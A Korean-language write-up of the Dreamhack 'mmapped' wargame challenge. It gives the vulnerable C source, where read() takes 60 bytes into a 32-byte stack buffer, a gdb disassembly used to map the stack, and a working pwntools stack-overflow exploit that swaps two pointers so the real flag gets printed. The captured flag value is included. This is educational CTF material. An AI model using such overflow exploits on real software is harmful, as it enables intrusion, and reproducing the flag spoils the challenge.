[dreamhack] mmapped writeup

1. 문제

thumbnail
mmapped

프로그램의 취약점을 찾고 익스플로잇하여 플래그를 출력하세요.
플래그는 ./flag 파일에 위치합니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/870

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define FLAG_SIZE 0x45

int main(int argc, char *argv[]) {
    int len;
    char * fake_flag_addr;
    char buf[0x20];
    int fd;
    char * real_flag_addr;

    initialize();

    fd = open("./flag", O_RDONLY);
    len = FLAG_SIZE;
    fake_flag_addr = "DH{****************************************************************}";

    printf("fake flag address: %p\n", fake_flag_addr);
    printf("buf address: %p\n", buf);

    real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
    printf("real flag address (mmapped address): %p\n", real_flag_addr);

    printf("%s", "input: ");
    read(0, buf, 60);

    mprotect(real_flag_addr, len, PROT_NONE);

    write(1, fake_flag_addr, FLAG_SIZE);
    printf("\nbuf value: ");
    puts(buf);

    munmap(real_flag_addr, FLAG_SIZE);
    close(fd);

    return 0;
}

fake_flag_addrreal_flag_addr, buf의 주소를 출력하는데 그 사이에 real_flag_addrmmap함수를 통해서 권한을 제어한다. 그리고 buf에 입력을 주고 이를 출력한다.


우선 buf 변수는 코드 상에서는 0x20으로 설정되어있는데 60바이트만큼 입력이 가능하게 되어 아마 bof가 발생하는듯 하다.

실제 gdb를 보고 각 변수의 위치를 확인해보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000000012b0 <+0>:	endbr64
   0x00000000000012b4 <+4>:	push   rbp
   0x00000000000012b5 <+5>:	mov    rbp,rsp
   0x00000000000012b8 <+8>:	sub    rsp,0x50
   0x00000000000012bc <+12>:	mov    DWORD PTR [rbp-0x44],edi
   0x00000000000012bf <+15>:	mov    QWORD PTR [rbp-0x50],rsi
   0x00000000000012c3 <+19>:	mov    eax,0x0
   0x00000000000012c8 <+24>:	call   0x1269 <initialize>
   0x00000000000012cd <+29>:	mov    esi,0x0
   0x00000000000012d2 <+34>:	lea    rax,[rip+0xd2f]        # 0x2008
   0x00000000000012d9 <+41>:	mov    rdi,rax
   0x00000000000012dc <+44>:	mov    eax,0x0
   0x00000000000012e1 <+49>:	call   0x1170 <open@plt>
   0x00000000000012e6 <+54>:	mov    DWORD PTR [rbp-0x4],eax
   0x00000000000012e9 <+57>:	mov    DWORD PTR [rbp-0x8],0x45
   0x00000000000012f0 <+64>:	lea    rax,[rip+0xd19]        # 0x2010
   0x00000000000012f7 <+71>:	mov    QWORD PTR [rbp-0x10],rax
   0x00000000000012fb <+75>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00000000000012ff <+79>:	mov    rsi,rax
   0x0000000000001302 <+82>:	lea    rax,[rip+0xd4c]        # 0x2055
   0x0000000000001309 <+89>:	mov    rdi,rax
   0x000000000000130c <+92>:	mov    eax,0x0
   0x0000000000001311 <+97>:	call   0x1110 <printf@plt>
   0x0000000000001316 <+102>:	lea    rax,[rbp-0x40]
   0x000000000000131a <+106>:	mov    rsi,rax
   0x000000000000131d <+109>:	lea    rax,[rip+0xd48]        # 0x206c
   0x0000000000001324 <+116>:	mov    rdi,rax
   0x0000000000001327 <+119>:	mov    eax,0x0
   0x000000000000132c <+124>:	call   0x1110 <printf@plt>
   0x0000000000001331 <+129>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000001334 <+132>:	mov    r9d,0x0
   0x000000000000133a <+138>:	mov    r8d,eax
   0x000000000000133d <+141>:	mov    ecx,0x2
   0x0000000000001342 <+146>:	mov    edx,0x1
   0x0000000000001347 <+151>:	mov    esi,0x45
   0x000000000000134c <+156>:	mov    edi,0x0
   0x0000000000001351 <+161>:	call   0x1100 <mmap@plt>
   0x0000000000001356 <+166>:	mov    QWORD PTR [rbp-0x18],rax
   0x000000000000135a <+170>:	mov    rax,QWORD PTR [rbp-0x18]
   0x000000000000135e <+174>:	mov    rsi,rax
   0x0000000000001361 <+177>:	lea    rax,[rip+0xd18]        # 0x2080
   0x0000000000001368 <+184>:	mov    rdi,rax
   0x000000000000136b <+187>:	mov    eax,0x0
   0x0000000000001370 <+192>:	call   0x1110 <printf@plt>
   0x0000000000001375 <+197>:	lea    rax,[rip+0xd2d]        # 0x20a9
   0x000000000000137c <+204>:	mov    rsi,rax
   0x000000000000137f <+207>:	lea    rax,[rip+0xd2b]        # 0x20b1
   0x0000000000001386 <+214>:	mov    rdi,rax
   0x0000000000001389 <+217>:	mov    eax,0x0
   0x000000000000138e <+222>:	call   0x1110 <printf@plt>
   0x0000000000001393 <+227>:	lea    rax,[rbp-0x40]
   0x0000000000001397 <+231>:	mov    edx,0x3c
   0x000000000000139c <+236>:	mov    rsi,rax
   0x000000000000139f <+239>:	mov    edi,0x0
   0x00000000000013a4 <+244>:	call   0x1130 <read@plt>
   0x00000000000013a9 <+249>:	mov    eax,DWORD PTR [rbp-0x8]
   0x00000000000013ac <+252>:	movsxd rcx,eax
   0x00000000000013af <+255>:	mov    rax,QWORD PTR [rbp-0x18]
   0x00000000000013b3 <+259>:	mov    edx,0x0
   0x00000000000013b8 <+264>:	mov    rsi,rcx
   0x00000000000013bb <+267>:	mov    rdi,rax
   0x00000000000013be <+270>:	call   0x1160 <mprotect@plt>
   0x00000000000013c3 <+275>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00000000000013c7 <+279>:	mov    edx,0x45
   0x00000000000013cc <+284>:	mov    rsi,rax
   0x00000000000013cf <+287>:	mov    edi,0x1
   0x00000000000013d4 <+292>:	call   0x10f0 <write@plt>
   0x00000000000013d9 <+297>:	lea    rax,[rip+0xcd4]        # 0x20b4
   0x00000000000013e0 <+304>:	mov    rdi,rax
   0x00000000000013e3 <+307>:	mov    eax,0x0
   0x00000000000013e8 <+312>:	call   0x1110 <printf@plt>
   0x00000000000013ed <+317>:	lea    rax,[rbp-0x40]
   0x00000000000013f1 <+321>:	mov    rdi,rax
   0x00000000000013f4 <+324>:	call   0x10e0 <puts@plt>
   0x00000000000013f9 <+329>:	mov    rax,QWORD PTR [rbp-0x18]
   0x00000000000013fd <+333>:	mov    esi,0x45
   0x0000000000001402 <+338>:	mov    rdi,rax
   0x0000000000001405 <+341>:	call   0x1140 <munmap@plt>
   0x000000000000140a <+346>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000000140d <+349>:	mov    edi,eax
   0x000000000000140f <+351>:	call   0x1120 <close@plt>
   0x0000000000001414 <+356>:	mov    eax,0x0
   0x0000000000001419 <+361>:	leave
   0x000000000000141a <+362>:	ret
End of assembler dump.

mprotect가 실행되는 위치를 보면 real_flag_addrlen 변수의 위치를 알 수 있다. 또한 중간의 printf함수가 실행되는 것을 보면 buf, write 함수가 실행되는 것을 보면 fake_flag_addr을 알 수 있고, 그리고 마지막 close함수가 실행되는 위치를 보면 fd 위치를 알 수 있다.

따라서 정리해보면 스택에 아래와 같이 변수가 들어가있다.

변수명 위치
buf rbp-0x40
real_flag_addr rbp-0x18
fake_flag_addr rbp-0x10
len rbp-0x8
fd rbp-0x4

buf부터 60바이트를 덮을 수 있으므로 len변수까지 넉넉하게 덮을 수 있다. 코드를 보면 write함수를 통해서 fake_flag_addr위치의 값을 출력하도록 되어있는데 해당 위치에 real_flag_addr을 덮어주면 실제 flag가 출력될 것이다. 그런데 write함수 전에 mmap함수를 통해 real_flag_addr이 가리키는 위치의 읽기 권한을 제거해버려서 write함수가 제대로 실행되지 않을 것이다. 따라서 real_flag_addrfake_flag_addr로 덮어버리면 읽기 권한이 그대로 존재하게 되고, write 함수를 통해 정상적으로 실행될 것이다.

이를 정리하면 payload는 이렇게 된다.

payload = dummy (0x28) + fake_flag_addr (8) + real_flag_addr (8)

이를 이용해서 exploit을 작성하였다.

from pwn import *

p = process("./chall")
p = remote("host8.dreamhack.games", 11125)

tmp = p.recvuntil("input: ")
data = tmp.split()

fake_flag_addr = int(data[3], 16)
real_flag_addr = int(data[-2], 16)

print(fake_flag_addr)
print(real_flag_addr)


payload = b''
payload += b'a' * 0x28
payload += p64(fake_flag_addr)
payload += p64(real_flag_addr)

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/mmapped$ python3 e_chall.py 
[+] Starting local process './chall': pid 2209552
[+] Opening connection to host8.dreamhack.games on port 11125: Done
/home/ubuntu/dreamhack/level1/mmapped/e_chall.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  tmp = p.recvuntil("input: ")
94210911633424
140357921521664
[*] Switching to interactive mode
DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}\x00
buf value: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x10
[*] Got EOF while reading in interactive

mmap함수가 들어가있긴 했지만 간단한 bof 문제였다.

해결~